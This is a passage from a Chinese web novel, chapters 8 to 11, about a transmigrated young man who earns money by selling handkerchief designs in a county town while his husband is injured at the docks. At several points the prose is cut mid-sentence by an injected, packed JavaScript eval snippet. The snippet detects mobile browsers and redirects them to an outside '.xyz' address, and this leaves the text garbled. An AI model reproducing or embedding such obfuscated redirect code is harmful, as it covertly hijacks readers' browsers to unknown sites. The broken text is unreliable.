这已经是苗应来这里这么久,吃过的最丰盛的一顿饭了。 桌上李红英问霍行还走吗,霍行说就是回来送一趟药,明天还要继续上工。 苗应看着他:“那明天能带我们一起上县城吗?娘和祖母做了很多帕子,我想去县城卖掉。” 霍行点头:“可以。” 8. 第 8 章 霍行吃完饭之后,又去把家里水缸里的水挑满了,村里的水井在离他们家不太远的地方,这段时间的用水都是李红英和苗应两个人抬回来的,苗应本想自己挑,但无奈伤还没好,只能退而求其次地跟李红英一起抬水。 当然这个过程里也会听到无数的闲话,大多是因为从前的苗应犯的错,多数时候苗应都不理睬,只有在有人说得更过分的时候,他会四两拨千斤地还回去。 苗应穿越前就不是什么温室里的花朵,他说出来的反驳的话可能比这些人能想到的还猛烈了不少,这就让他在村里的名声更差了一点。 霍行去打水的时候,也有人在他面前说闲话,他只是沉默地干活,并不搭腔,那些人说着没意思了,也就散开了。 到夜里,霍行又给苗应熬了一次药,看着他喝下去,才一起回到房间里。 苗应已经脱了衣裳躺上床,被子盖得严严实实的,霍行看了他一眼,脱鞋的动作停了停,随后又穿好鞋子,往外走。 苗应看着他:“你干什么去?” 霍行没说话,不一会儿苗应就听见了外面的水声。 随后霍行带着一身凉气回到房间,苗应才知道他是冲澡去了,因为霍行回来,屋里点了一盏油灯,借着油灯,苗应看到了霍行肩膀上全是红肿的印记。 他又披上衣服坐起来,问:“你出去做什么了?” 霍行说:“县城有个码头,快过年了,码头上有卸货的活。” 苗应看着他的肩膀,不用想也知道他还是挺辛苦的,他找到先前李红英给他敷头的药:“涂点药吧。” 霍行嗯了一声,伸手要接苗应手上的罐子,苗应躲开他的手:“我给你涂。” 苗应的指尖微凉,落在霍行肩上的伤口上的时候,霍行只觉得自己的伤口在发烫,有些清凉的药也抵挡不住这样的热意,他稍微挪开了自己的肩膀,沉声说不用再涂了。 苗应收回手,草药的味道并不好闻,他还没说什么,霍行就已经下床去给他打水回来。 等一切都是收拾妥当,霍行再躺下,苗应已经有些昏昏沉沉,感觉到有热源,苗应便往旁边靠了一点,沉沉睡去。 晚上除了喝完酒回来撒酒疯的霍三闹出的动静,整个院子里都很安静。 醒来时霍行已经穿好了衣服,苗应揉了揉眼睛,迷迷糊糊地问了一句霍行的伤。 霍行说没有大碍,又说让他快点起床,不然去县城的时间就要耽误了,苗应这才清醒过来,赶紧爬起来穿衣服,只是穿好衣服之后他又有些迟疑,他的衣服都是打了补丁的,又洗得发白。 他的动作自然也落在了霍行的眼里,霍行也看到了他已经磨得起了毛边的袖口,又想在他走之前可以给他做身衣裳。 草草吃过早饭,李红英也换了新衣服,用包袱装好那些绣好的帕子,准备去县城里卖掉,本来是不打算带苗应去的,但苗应说他很能谈价,李红英这才同意也带他一起去。 去县城跟镇上的路不是同一条,但能明显看出去县城的路上比去镇上的人多,苗应走了一会儿就觉得有些累了,但碍于李红英在一路,他也没好意思再让霍行背他,于是被脚程很快的两个人落在了后面。 霍行没一会儿就发现苗应掉队了,他跟李红英说了两句话,随后回去找苗应,苗应正靠在路边的一棵树上喘气,看到霍行回来,黯淡的眸色里迸发出光芒。 没说什么,霍行在苗应的面前蹲下来,苗应也没推辞,直接趴了上去,顾念着霍行的肩膀有伤,他手没有搭在霍行的肩膀上,直接勾住了他的脖子。 霍行只觉得自己的喉咙一紧,意识到自己可能给霍行来了个锁喉,他赶紧松开了一点,讪笑着说不好意思。 很快他们追上了李红英,李红英看着霍行背着苗应,想说什么又忍住了,只是脚步更快了一些。 县城比镇上繁华太多,城门口还有检查,这会儿已经排起了长队。 霍行这会儿已经放下了苗应,他们排在队伍里,前面是一个背着个大背篓的汉子,那汉子退了一步,大大的背篓就差点怼到苗应的脸上,霍行眼疾手快把他拉到自己身后。 队伍朝前走得很快,没一会儿就轮到了他们,苗应什么都不懂,只是跟在霍行的身后,检查了他们带的东西之后,差役很快就让他们进城了,他们在城门口分开,霍行要去干活,李红英带着苗应去卖帕子。 霍行站在原地看着他们离开的背影,突然想苗应是不是能坚持走回去,又想是不是该买条牛来代步,转念一想,等苗应伤好了,他应该是要离开的,于是霍行转身,去了上工的地方。 这边苗应跟李红英一起走到了县城里最繁华的街市上,这条街的一半是卖吃食的,另一半是卖些小玩意儿的。 苗应留心看了一眼这些摆摊卖的吃食,都是些什么小馄饨,糖葫芦,包子馒头大饼之类的,都是些主食,没有现在小吃街那些好吃的东西,他想要是能把现代的夜市小吃街搬过来,都不知道能赚多少。 可现在也只能想想,苗应叹了口气,跟上了李红英的脚步,去找到县城里的一家绸缎店。 这家店里卖成衣,布匹,刺绣,帕子,很多哥儿姐儿都来这样的店里买东西。 在进店的是,李红英深吸了口气,又整理了一下身上的衣裳,才拉着苗应往店里去。 这家店里不止接待买东西的哥儿姐儿,也接待来送绣品的绣娘们,毕竟光靠店里的人,哪里能有那么多绣品来卖。 来卖绣品的人也不少,苗应他们排在第五个,前头的几个带来的都是帕子荷包香囊什么的,跟他们比起来,苗应他们带来的几根帕子就有些不够看了。 没一会儿轮到他们进去,收帕子的不是掌柜,是店里的二把手,掌柜在前头做生意。 等李红英把几张帕子拿出来的时候,二把手的面色就没有那么好了,因为一般来卖帕子的都是底下村里出来的,绣品质量不好不说,还喜欢拉价。 李红英虽然在家里是个说一不二的性子,但来做生意了,难免把姿态放得低了些。 “掌柜,这是我们的帕子。”帕子叠得整整齐齐,还没有展开。 那二把手看也没看:“帕子五文钱一张。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598275|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗应睁大了眼睛,娘和祖母辛辛苦苦绣的,就卖五文钱一张?那些绒线也要钱的好不好。 他看李红英似乎并不意外,就知道她们一直在被压价,就在李红英快说好的时候,苗应走到了他们的面前,他按住李红英的肩,对着那人说:“帕子都不看一眼就直接给价吗?” “有什么好看的,不都是些花啊草啊鸟啊什么的,有什么好看的。”二掌柜的面上已经有些不耐烦了,“你要看不起这个价,就往外走。” 苗应卷了帕子,拉着李红英就往外走。 李红英被他拉着,走出这家布匹店,她看着苗应:“镇上给的价是三文,这里能给五文已经很好了。” 苗应摇头:“娘,难道你跟祖母低着头这么久的东西才值十文钱吗?在我看来绝对不止这点儿钱。”更何况还有他的画呢。 经过这家店,在不远处还有另一家店,店不如刚才那家店大,在里面买东西的人也没那么多,于是掌柜就在一边收绣品,来这里卖绣品的也不如之前那家店的人多,苗应他们只等了一会儿就到了他们。 掌柜听说是帕子也不惊喜,价也是说的也跟上一家店一样五文,进门的时候苗应就说了这一次他来谈价,于是李红英也没有动作。 苗应把帕子一一展开放在掌柜的面前:“掌柜,我也知道现在的帕子都是什么花草鸳鸯的,我的帕子样式是最特别的,我能保证这帕子只要拿出来,就一定能卖得很好,价能不能提得高一些。” 掌柜看着这十几张帕子,每一张上面都是不同的图案,但整体画风又很类似,的确是他们以前从未见过的。 掌柜在心里合计了一下:“你想要多少?” 苗应舔了舔唇:“我想要二十文一张。” 掌柜吓了一跳,倒是笑了出来:“你这夫郎倒是真敢要价,你可知就算是京中顶级绣娘曹三娘的手艺,一张帕子也只卖到三十文。” 不说掌柜,连李红英都吓了一跳,她以为苗应只会要个十文钱的,谁知他一开口就是二十文。 苗应不知道曹三娘是谁,但听这话也能估计出来现在帕子最高的价也就三十文。 “绣技这东西各花入各眼,但我卖的不是绣技而是样式。”苗应面上丝毫不显胆怯,“我们家的帕子每一条都是独一无二,因为花样子只有我会画。” 掌柜没有说话,还在思考,好一会儿才说:“十文一张。” 一来一回间,苗应已经做好了心理预期,低于十五文就不卖了。 苗应说:“如果您价再高点,我能保证您今天就能把这些帕子都卖出去。” 掌柜的心思动了动:“十二文。” 苗应摇头:“咱们各自都退一步,十五文如何?” “你能确定这些今天都能卖出去?”掌柜狐疑地看着他。 他们家的生意跟街前的那家隆兴坊比差得有些远,明明两家的东西都差不多,要是这帕子真能很快地卖出去的话,他也愿意试试。 “那就十五文,但今天你要帮我把这几条帕子卖出去。” “成交。” 9. 第 9 章 苗应请掌柜把李红英安排好,掌柜也应了,把李红英带到隔壁的茶寮里,点了一杯茶。 安顿好李红英之后,苗应开始了随地大小演,说实在他,他觉得自己没发挥好,因为演技还挺拙劣的。 多年的打工经验让苗应锻炼出了慧眼识人的本事,在这么多的人的街上,他第一眼就看出了哪些是有钱人家的小娘子和哥儿,在这个世界,哥儿还是挺好辨认的,他们普遍的身高都不会太高,肤色也会比男人要白些。 他没想往那些小姐的身边凑,他不会去占那些小姑娘的便宜。 苗应是记得自己那天在水里的影子的,也不是自夸,真的生得很不错,尤其是他现在还病着,就更好看了一些。 瞅准目标,苗应就准备开始他的表演,在最热闹的集市上,他看到一位带着小厮的哥儿,嘿,就决定是你了。 他们在一处脂粉铺子上停留,两个人在商量着买那个颜色的脂粉,一人主张正红色,另一人主张淡粉色。 苗应实在有些听不懂,于是凑过去,也装模作样地去看那些脂粉,说真的,瞧不出任何不同,但他还是给出了建议:“我觉得淡粉更好,更称你的肤色。” “是吧,你也觉得吧。”那哥儿笑起来,随后跟小贩说要买下来,看他出手阔绰的样子,苗应在心里点了点头,立即开演。 他的脚步踉跄几下,弱不禁风地往旁边倒,那哥儿身边的小厮立刻接住他,苗应掏出帕子,虚掩着咳嗽两声,又对扶住他的两人表示了感谢,那张帕子在他手上翻来覆去地展示,没一会儿就吸引了那哥儿的注意。 “你真没事吗?” 苗应点头,很快站直身子:“就是走得太急。” 那哥儿见他没事,才问到:“你这帕子好新奇,不是县城里的款式吧?” 苗应又把帕子摊开来:“是那边松鹤居里的,听说是今天新到的样式,拢共就那几张,也不知这会儿卖完没有,因为花样新奇,价就贵些。” 那哥儿似乎是一点不在乎价钱,随后就跟自己旁边那小厮说:“星哥儿,你赶紧去给我买一张回来,要快啊。” 他人很是热心,又把苗应带到一处茶摊上坐着,叫了一杯茶来吃,见苗应无事,他也放下心,又等着他的小厮给他买帕子回来。 不一会儿那星哥儿就回来了,拿着一张帕子:“少爷,买到一张,我想您平日喜欢猫儿,这猫儿逗花儿的您肯定喜欢。” 付灵之拿到帕子,果然喜欢得很,虽然只是普通的布料,但上面的画可真是好看得紧,又说:“这样新奇的东西,你没多买两张吗?给娘亲和婶婶。”他有一个兄长一个弟弟,他们都还没成亲。 星哥儿赶紧往回跑:“少爷您等会儿,我马上去买。” 这是隔壁一个铺子里一个哥儿身边的丫鬟,看到狂奔的星哥儿,跟身侧的人说了句什么。 “你去看看他买的什么,合适你也给我买。” 那丫鬟也跟着去了,不一会儿也带着两根帕子回来了:“是新奇的式样,星哥儿买了好几张。” 那人一看,果真新奇,价钱倒是也不太重要了。 帕子只有十来张,很快就被抢光了,等再收到消息去买的人去的时候,已经售空了。 苗应也算是完成了他的任务,跟掌柜说了一声之后就要去接李红英然后准备回家了,但掌柜把他叫住,说还想跟他做一桩生意。 苗应其实早料到了,他笑吟吟地看着掌柜,一副成竹在胸的样子。 掌柜想让他在这儿多给他们画些样子,毕竟店里也是有绣娘的,总比等着他们不知道什么时候绣好再来卖好吧。 苗应笑眯眯的,只要价钱谈好,什么都好说,只是Q版画而已,他一下午能画好多出来呢。 想到自己能赚到第一桶金了,苗应觉得自己头也不疼了。 “我也是想着我家里娘亲和祖母做针线辛苦,要是掌柜诚心和我买样子,一是我能让祖母和娘心轻松些,二是我也赚个体己钱。” 他说得这么明,掌柜也不拖沓:“今天帕子确实也卖得好,你卖给我样子,我一次性给你结账。” 苗应想这几乎是无本万利的生意,掌柜也算是诚意十足:“我一次给你结清,并向你承诺,日后你家来卖绣品,我都高价收,若是你们有什么要买的布匹成衣什么的,我也给你们优惠。” 苗应点头:“掌柜心诚,我也实话实说,现在流行,被复刻也只是时间问题,您要是想赚这一笔,那就得抓紧,我这里样子很多,只要您价给得好,立刻就可以来画。” “好,这位夫郎实在是实诚人,那就一口价四两银子。” 苗应笑笑:“掌柜,五两吧,五数也好听呢,我今夜熬个大夜,给您画几十张样子出来。” 掌柜合计一下,答应了下来,随后就去账房里支了银子,苗应只拿他们应得的钱,并不关心掌柜把这些帕子卖多少钱。 李红英在茶摊等了许久也不见苗应回来,他有些担心苗应是不是跑了,但转念一想,苗应身上没钱,身上还有伤,也走不了太远,她又重新回到布庄里,正巧碰到苗应出来。 “我正找您呢。”苗应把她拉到一边,把刚刚得的五两银子交到李红英的手上,“娘,咱们今晚不回去了,我要在县城里给掌柜画样子。” “啊?”李红英只觉得心跳得特别快,只是来卖一趟帕子,怎么就赚到五两银子了,“你,这……” 他急匆匆地说话:“我得赶紧去给掌柜画样子了,您找个地方住下啊,咱们明天给家里买些东西再回家啊。” 说完就赶紧去了布庄后面的绣坊里去,留李红英在原地愣住,好一会儿她才把五两银子贴身收好,也不打算去找地方住,苗应在这儿她不放心,那苗应画样子,她也可以在那绣样子嘛。 于是这天晚上,布庄的绣坊里油灯一夜未灭,苗应一直在画样子,李红英在旁边守着,也绣了一张帕子出来。 一夜的时间,苗应画了差不多快百张的图,每一张都不一样,但每一张都很有趣,不止有动物,也有植物,但又不是简单的植物,掌柜也看到了绣出来的成品,他重重地点头:“好好好。” 想到掌柜的豪爽,苗应也有心提醒他,给他讲了讲现代的饥饿营销,掌柜恍然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598276|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟,想着他熬了一整夜画出这些,又给了一吊钱:“这是给这个建议的价钱。” 苗应收了,带着李红英跟掌柜告辞。 在走出店门的时候,他就已经听见了门口的声音:“昨天那样的帕子还有吗?” “我们小姐喜欢得不行,一定要我买下才行呢。” 街道正在一步步地热闹起来,苗应在看到刺眼的阳光之后,才觉得眩晕,李红英赶紧扶住他:“没事吧?” 苗应站了好一会儿,终于缓了过来,朝李红英笑了笑:“娘,咱们去吃个早饭吧?” 昨晚的晚饭是在布庄吃的,他累了一夜了,又饿又困,得吃点东西缓一缓。 李红英点头,找到一个早餐铺子,给苗应要了一碗面,自己却什么都不吃。 苗应叹了口气,也给她叫了一碗:“娘,咱们赚钱了呢,一碗面还是能吃的。” 李红英只好半推半就地吃了,吃完饭之后,他们要准备回家去,苗应看向李红英:“娘,咱们买点东西回去吧,给小宝买点糕点,再买点肉和油回去吧?小宝正是长身体的时候,再买点骨头回去,给他熬点骨汤。” 李红英下意识地不想买,毕竟家里太穷,但苗应说的又都是家里必须的,于是只能点了点头。 李红英做主,去了糕饼铺,买了些便宜的,耐放的老少皆宜的糕饼,又去了肉铺,买了一点猪板油,又狠下心买了一块肥膘肉,苗应看傻眼了,这么肥的肉,该怎么吃?旁边那块五花肉那么好,竟然无人问津? 随后李红英又要了些骨头,这些骨头上的肉基本都被剃干净了,就是些光骨头,买来也便宜,就又多买了几块。 苗应看着那块五花肉,在李红英快要离开的时候,还是扯了扯李红英的袖子:“娘,再买一块肉吧?” 李红英看着他:“不是已经卖了肥膘肉吗?” 苗应指了一下那块五花肉:“买一点这个吧?” 李红英念着这些钱毕竟是苗应赚的,他也只是想吃点肉,就满足了他的要求:“好,买一块。” 最后他们提着买的东西,走到城门口,苗应已经觉得有些不妙了,他只觉得这会儿自己身上有些热,想来应该是又烧起来了。 他拉了拉李红英的手:“娘,回去能坐车吗?我好像又烧起来了。” 李红英也知道他身体还没好全,回去的时候就坐了牛车,牛车晃晃悠悠,苗应也晕晕乎乎:“娘,钱存好,不要让老登拿走了。” 李红英伸手摸了摸他的额头,不知道他说的老登是什么,但也知道要把钱收好,看苗应晕了过去,李红英让他靠在自己的肩头上。 等到了家,祖母在村口等着他们,看到李红英扶着苗应回来,赶紧迎上去:“怎么了这是?” “娘,给他熬点药吧。”两人费了些劲儿把苗应弄上床,又给他喂了药,看他渐渐平稳之后,李红英才出了房门。 跟祖母说了说昨天发生的事情,祖母也很是惊讶,不敢想象他们出去一趟,竟然带回了五两银子。 李红英看着祖母:“娘,您说,他是不是真的能跟阿行好好过日子了?” 10. 第 10 章 也许是因为赚了钱,苗应心口的郁结松了些,在下午的时候烧就退了,他出了一身汗,换了一身衣裳,走出房门,看见霍小宝在院子里玩,腰上别着个毽子,是苗应先前给他做的,不过祖母又重新给他加固了一下。 看到苗应,霍小宝跑上来抱住他的腿:“嫂嫂。” 苗应背上一个激灵,蹲下来看着他:“喊哥哥。” 霍小宝也嘴甜,立刻就改了口:“哥哥,吃。”他从自己的荷包里掏出一块糕点,塞进苗应的嘴里,是一块桂花糕。 苗应从穿越之后就没吃过甜的了,这会儿吃了一口,从没觉得糖的味道这么好过,那一瞬间苗应都快哭出来了。 见苗应不说话,霍小宝又给他喂了一口,苗应赶紧推开:“小宝自己吃吧。” 霍小宝才坐下自己小口地吃起糕来,苗应也在他的旁边坐下:“小宝怎么不出去玩?” “他们不跟我玩。”霍小宝说,“爹总是喝酒,总在村里闹,他们都不喜欢我。” 苗应的面色沉了沉,他最讨厌喝酒撒酒疯的人,在家里关起门来也就不说了,丢人都丢到外面去了,还因为自己让村里人都孤立孩子,真是太过分了。 他伸手抱住霍小宝:“没事,等过段时间,哥送你去学堂上学,学堂里小伙伴更多。” 霍小宝虽然才四岁,但也知道读书不是什么简单的事情,会花很多钱,而他们家现在没钱,霍小宝说:“不读书,跟大哥打猎。” 苗应揉了揉他的脑袋:“小胳膊小腿怎么打猎,去读书。” 霍小宝这才看向苗应,扁了扁嘴:“要好多钱,大哥辛苦。” 苗应心说小孩儿还挺知道心疼大人,于是拍了拍胸脯:“放心吧小宝,哥会赚很多很多钱,让你去读书的。” 霍小宝两眼放光地看着他,随后也重重点头:“那我就好好学,考个状元!” 苗应跟他拍手:“好小子!志向远大。” 他们说完话,李红英从外面回来,看到他们坐在一起,苗应的脸色倒还好,也就松了口气:“晚饭你做还是我做?” 李红英也知道自己的手艺不太行,所以做饭的时候都会问一下他。 苗应想起他们买回来的肉,吞了口口水:“我来做吧?猪油炼出来了吗?” “还没。” 苗应跟着李红英一起进了灶房,李红英开始烧火,苗应洗了洗手之后开始切猪板油。 今天买的这块猪板油很好,气温低油板结了点,也好切,他把油切成方块,火烧起来之后把猪油冷水下锅,里面放些生姜,随着温度的越来越高,油逐渐变得清澈,最后油渣变得焦黄,整个灶房里已经是猪油的香气。 霍小宝坐在李红英的腿上,眼巴巴地看着苗应,苗应把猪油渣都捞了起来,随后把油都舀进猪油罐子,看油渣温度不高之后,拿了一块给霍小宝。 刚出锅的猪油渣还很脆,没放盐,但嚼起来很香,霍小宝吃得很开心。 苗应看着这一碗猪油渣,从前他熬了猪油之后,都会用盐和辣椒面蘸着猪油渣当零食吃,不能吃多,会觉得腻,现在他想要是有那个条件,他肯定把这一整碗都吃完。 李红英看着这碗油渣,随后说:“等阿行回来,用猪油渣包包子或者饺子吧。” 苗应咽口水,点了点头:“好的。” 等猪油都弄好,他们才准备做今天的晚饭,苗应实在是馋肉了,所以今天准备做李红英给他买的那块五花肉,他想做个红烧肉,今晚就要大口吃肉。 其实五花肉的品质很好,但在肉摊上受冷遇,苗应想可能是这会儿的人太缺油水,所以肥膘肉才会卖得那么好,带着瘦肉的五花肉或者瘦肉就不那么受欢迎了。 五花肉是带皮的,苗应先带着皮在热锅上烫了一下,去掉肉表面的浮毛,随后把五花肉切成了整整齐齐的方块。 肉足够新鲜,就不用先焯水,直接下锅煎掉多余的油脂,等煸炒得差不多,再把肉块先铲出来,不过家里没有糖,不能炒糖色,不过现在这样也可以了。 上色之后开始炖煮,基本的大料只有些八角,还是苗应从一堆药里找出来的,小火慢炖,炖到汁水黏稠,肉块一戳就破,苗应才起锅。 李红英一直在灶房里,看着苗应娴熟的做饭的姿势 ,又想起受伤之前的苗应,那是连笤帚倒了都不会扶的,就是撞坏了脑袋,连性情都能变这么多吗? 苗应等着肉好,又看向李红英:“娘,您钱都收好了吧。”他实在担心,就霍三那个酒蒙子的样子,要知道家里有钱了,还不得把钱全拿去买酒。 昨晚上他们没回来,听祖母说霍三骂骂咧咧一夜,早上出门的,因此还不知道家里有钱。 她藏钱的地方霍三都知道,交给祖母也差不多是一样的,这么大个家,竟然都没个能藏钱的地方,霍行的房间霍三不敢去,但现在霍行的房间里还有个苗应,但钱放在苗应那里,好像也不太安全。 苗应自然也知道自己有前科,但他看着李红英:“娘,说句不好听的,这钱是我赚的呢,我要是有什么想法的话,就跟掌柜私下合计了。” 李红英叹了口气:“那把钱放你们屋吧。” 晚饭有一碗红烧肉,用一点点猪油炒了个萝卜丝,主食还是糙面窝头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598277|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苗应出去看过,村里是种了很多粮食的,跟现代一样,冬小麦,夏秋水稻,明明种粮食,为啥他们吃得还是些糙米糙面,他来这儿这么长时间了,一顿大米饭都没吃过。 他有疑问,自然也就问了出来。 李红英叹了口气:“赋税重。每年的收成只够交税的,每年交完税,基本就什么都不剩了。” “咱们家的地不多吗?”苗应又问。 李红英点头,他们家不是南口坝村土生土长的,是逃难过来的,原本霍三是有两个兄弟的,只是在逃难的路上,两个大哥没能活下来,只剩下霍三跟娘亲走到了这边,朝廷安排他们到了南口坝村,分了一点地,后来霍三娶了李红英,家也就在这里安了下来。 地分得很少,一开始还能有点存粮,但随着家里人口变多,收成也就只够交税了。 “那地能买吗?”苗应说。 “买地,一块地得卖个十几两银子。”祖母说,“村里现在的地都不太好了。” 苗应叹了口气,说来说去还是穷啊。 晚饭很丰盛,霍三不知道撞了什么运,也赶回来吃饭了,他今天没喝酒,他大口吃着肉,又说遗憾今天没酒,说罢就找李红英要钱,他也知道他们去卖了帕子,所以家里才有肉吃,要李红英赶紧把卖帕子的钱给他。 苗应只是听着,还给霍小宝祖母和李红英夹肉,他动作要是不快点,肉能全被霍三一个人吃掉。 李红英放下了筷子:“还有什么钱?几张帕子能卖几个钱,你今天吃的肉不要钱吗?” 霍三脸拉得老长:“老子买酒的钱都没了。” 苗应实在听不下去了,他就没见过这样的男人,屁事不干,只知道喝酒,家里有老有小,年纪不大还不知道出去挣钱,连祖母跟娘亲两个人都在想办法赚钱,他却只知道花女人的钱,真是个孬种。 “想喝酒就自己挣钱!”苗应把拍了拍已经吃饱了的霍小宝的屁股,让他出去玩。 霍三睁大了眼睛,没想到苗应竟然敢跟他叫板,他啪地摔了筷子,指着苗应的鼻子:“再说一遍,你敢这么跟长辈说话!” “再说一遍你也是个孬种!花自己娘亲和媳妇的钱,那酒怎么没喝死你!”苗应不惯着他,“你算什么长辈。” 霍三原以为李红英和自己的娘亲对苗应也是厌恶,却没想到他们这会儿一句话都不说。 “好啊!你们,”霍三站起身来,“现在开始管起老子来了是吧。” 苗应丝毫不怕他:“等我好了你看我怎么收拾你!” 等他身体好起来,看他不把这老东西收拾得服服帖帖的。 11. 第 11 章 霍行在码头上干活,他生得高大,力气也不小,计件的活他比别人干得多,赚得自然也比别人多些,别人赚三十文,他能拿五十文。 但霍行还是觉得不够,苗应的伤还需要吃药,阿胶他一直吃不上,病就好得慢;马上要过年了,过年总不能还吃萝卜白菜,总要有肉的。 年后也许苗应就要离开了,还得给他准备一份盘缠,总不能让他空着手走。 眼看着到了快过年了,码头上更忙了些,霍行一上午基本一口气没歇过,不断地往返在船只和陆地上。 今天来接货的人不少,都是付家的人,付家是县城里排得上号的富户,今天到的船都是付家采买的年货,都是些新鲜的东西。 霍行不太在意自己搬的是什么,只要能让他赚到钱就好。 “都小心仔细些,摔坏了你们都赔不起。” 于是干活的人更小心了一些。 没一会儿岸边又开始嘈杂起来,霍行只是看了一眼就收回了目光,左右也跟他没什么关系,他扛着一口大箱子到了岸边,才发现是付家的小少爷过来了,也是来监工的。 这也不是稀奇事,谁家的船到了,都是要派人来看着的,免得有工人手脚不干净,只是这付小少爷不是个安分的性子,像个猴一样上蹿下跳的,一会儿在船上,一会儿又跑回岸上。 霍行看着他靠近,步幅就更稳了一些,生怕一个手滑砸到这个小少爷,要是砸到他,估计这辈子都完了。 “少爷,您歇会儿吧。”他身边的小厮害怕他会有什么危险,一直紧紧地跟在他的身边。 等付灵尧巡视完他家所有的货,终于要去休息了,此时船上干活的所有人都松了一口气,等着这个小少爷下船去歇着。 变故就是在一瞬间发生的,船和岸之间的搭板并不宽,付灵尧被上面的一块凸起绊倒,慌乱之间他扯住自己小厮的手臂,那小厮个子比他小很多,被他大力一拉,又是一个趔趄,乱舞的手抓住了身后一个搬箱子的工人的脚,他还搬着好几个箱子,一连串的动作下来,那箱子眼看着就要砸到付灵尧的身上。 霍行离得不远,他刚刚卸完身上的货往船上去,就看见搭板上出的乱子,他想也没想,上前去一手拉开马上就要被砸到的付灵尧,一脚踹开那小厮,最后几个箱子砸到他的肩膀上,硬生生地把他砸倒在地上。 小厮已经快吓傻了,顾不得刚刚霍行踹他那脚,捂着肚子连滚带爬地往付灵尧的身边爬去:“少爷,少爷没事吧!” 付灵尧头晕眼花,只记得自己被一道很大的力道甩开了,转过头看到刚刚救了他的人这会儿倒在一边,身上还砸着一个箱子。 干活的人赶紧都停了自己手上的活,七手八脚地把霍行身上的箱子搬开,付灵尧也凑过去,看着人把霍行扶起来。 “赶紧送去医馆。”他也有些慌,第一回上这里来就出事,以后大哥怕是更不会让他做什么了。 霍行只觉得自己的胳膊像是断了一样,木箱子尖锐的角划破了他本就穿得不多的手臂,这会儿血沁出了衣裳,但这都不是最要紧的,要紧的是他觉得自己的骨头像是被砸断了。 付灵尧看着那些工人扶着霍行往医馆去,又想起什么,扯下自己的荷包,交到付让,也就是他小厮的手上:“你赶紧跟过去看着,一定要把他治好。” 付让捏着钱袋追上去,这会儿这里又重新开始忙碌起来,付灵尧交待好后面的事情,想跟去医馆的时候,在远处看到了他的大哥。 付灵尧苦着脸,头一回帮大哥办事就出了错,他硬着头皮走上前去,发现大哥的面色也很不好,显然是已经知道了前因后果。 付家大哥沉声道:“这个月的月钱减半,还有,受伤的人的看诊钱,药钱,还有你该给的补偿,谢礼,都从你自己的私库里出。” 医馆里,大夫给霍行胳膊上的伤上了药,又细细地检查了他的胳膊,说幸好骨头没断,但也要好生修养,俗话说伤筋动骨一百天,这三个月是一点力气活都不能干。 霍行苦着脸,他本来还想活多,能多赚点,这个年就能好过一点,没想到他受伤了,没办法赚钱了,这个年还不知道要怎么过。 送他来医馆的两个汉子这会儿也挺同情他的,本来这会儿来这里干活的都是家里穷得不行的,那少爷给了他医药费已经是发了慈悲了,像他们这样的人,即使人家不管,他们也找不到说理的地方去。 看到霍行没事之后,两个汉子也要回去干活了,他们刚走到医馆门口,就看到那位付少爷过来了。 这两人其中一个人是刚才那个货送下来差点砸到人的,他看到付少爷就是一阵心虚,往旁边躲,生怕这位少爷找他的麻烦,但付灵尧都没看他们一眼,直往霍行面前去。 大夫又把刚才的话说了一遍,付灵尧的面色这才好看一点,随后又想起大哥的话,他面色复杂地看向霍行:“你救我一命,我也不是知恩不报的人。” 他看向大夫:“你全都给他用最好的药。” 大夫自然喜滋滋地应了,吩咐药童去抓药,霍行站起身来,对大夫说:“我不用那么好的药,只能给我加一味阿胶吗?” “呃,你身强体健,阿胶反而相冲。”大夫的面色不改,但心里已经把他跟那些个讹人的混子联想到一起去了,“寻常药就好。” 霍行赶紧摇头:“我家中……夫郎,也生病了,需要这一味阿胶,我可以不吃药,只求换一味阿胶。” 大夫看了一眼付少爷,付少爷摆了摆手:“多给他些。” 霍行常年没有表情的脸终于有了一丝变化,他站起身朝付灵尧行了一礼:“多谢公子。” 付灵尧挥了挥手,看到他打着补丁的衣裳,又想起他刚刚说的夫郎生病了连一味阿胶都吃不起,这下受伤了,家中估计更艰难了。 到底还是他的过错,付灵尧想起大哥的话,立刻说:“救命之恩,无以为报,别的我给不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 